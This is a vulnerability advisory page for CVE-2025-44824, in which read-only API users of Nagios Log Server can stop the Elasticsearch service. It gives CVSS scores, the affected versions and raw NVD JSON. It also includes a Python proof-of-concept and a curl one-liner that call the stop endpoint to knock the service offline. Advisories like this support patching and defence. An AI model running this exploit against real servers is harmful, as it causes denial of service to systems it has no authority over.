Security Vulnerability Report
中文
CVE-2025-44824 CVSS 8.5 HIGH

CVE-2025-44824

Published: 2025-10-07 20:15:35
Last Modified: 2025-11-06 16:40:36

Description

Nagios Log Server before 2024R1.3.2 allows authenticated users (with read-only API access) to stop the Elasticsearch service via a /nagioslogserver/index.php/api/system/stop?subsystem=elasticsearch call. The service stops even though "message": "Could not stop elasticsearch" is in the API response. This is GL:NLS#474.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2024R1.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-44824 - Nagios Log Server Elasticsearch DoS PoC # Author: skraft9 # Repository: https://github.com/skraft9/nagios-log-server-dos # Description: Authenticated users with read-only API access can stop Elasticsearch service import requests import sys # Target configuration TARGET_URL = "https://target-nagios-log-server.example.com" USERNAME = "readonly_user" # Read-only API credentials PASSWORD = "readonly_password" def exploit_stop_elasticsearch(target_url, username, password): """ Exploit CVE-2025-44824 by calling the system stop API endpoint to terminate the Elasticsearch subsystem. """ # Step 1: Authenticate and obtain session cookie login_url = f"{target_url}/nagioslogserver/index.php/login" session = requests.Session() login_data = { "username": username, "password": password, "login": "Login" } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data, verify=False) if not resp.ok: print(f"[-] Authentication failed: {resp.status_code}") return False # Step 2: Call the vulnerable API endpoint to stop Elasticsearch stop_url = f"{target_url}/nagioslogserver/index.php/api/system/stop" stop_params = { "subsystem": "elasticsearch" } print(f"[*] Sending stop request to Elasticsearch subsystem...") resp = session.get(stop_url, params=stop_params, verify=False) print(f"[*] Response Status: {resp.status_code}") print(f"[*] Response Body: {resp.text}") # Note: Despite the API returning "Could not stop elasticsearch", # the service is actually stopped (misleading response) if "Could not stop elasticsearch" in resp.text: print("[!] API reports failure, but Elasticsearch may have been stopped!") print("[!] This is the deceptive behavior of CVE-2025-44824") return True if __name__ == "__main__": if len(sys.argv) >= 4: TARGET_URL = sys.argv[1] USERNAME = sys.argv[2] PASSWORD = sys.argv[3] requests.packages.urllib3.disable_warnings() exploit_stop_elasticsearch(TARGET_URL, USERNAME, PASSWORD) # Simple curl-based PoC: # curl -X GET "https://target/nagioslogserver/index.php/api/system/stop?subsystem=elasticsearch" \ # -b "nagios_session=YOUR_SESSION_COOKIE"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-44824", "sourceIdentifier": "[email protected]", "published": "2025-10-07T20:15:35.277", "lastModified": "2025-11-06T16:40:35.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server before 2024R1.3.2 allows authenticated users (with read-only API access) to stop the Elasticsearch service via a /nagioslogserver/index.php/api/system/stop?subsystem=elasticsearch call. The service stops even though \"message\": \"Could not stop elasticsearch\" is in the API response. This is GL:NLS#474."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "87E74637-713C-4DD7-B97E-2F247B7B12B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "B93D415C-B2C0-42CE-B9B3-29C29A3DCC16"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "997B64B5-A3F2-4D0E-B05E-CCA76D598C18"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "D20F6746-83DD-49AE-8C3D-AF2FFB47A89E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "5EF32AF5-19EA-495A-AB28-F78F33DDEC3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "4C26DE7A-37AA-4570-81C1-2E0C1A9026F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3:*:*:*:*:*:*", "matchCriteriaId": "52C22468-A773-49C8-81AD-9B76C26BFFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.1:*:*:*:*:*:*", "matchCriteriaId": "7CEC223A-A3EE-4C51-8B71-E19C73B9215C"}]}]}], "references": [{"url": "https://github.com/skraft9/nagios-log-server-dos", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.nagios.com/changelog/#log-server", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/skraft9/nagios-log-server-dos", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}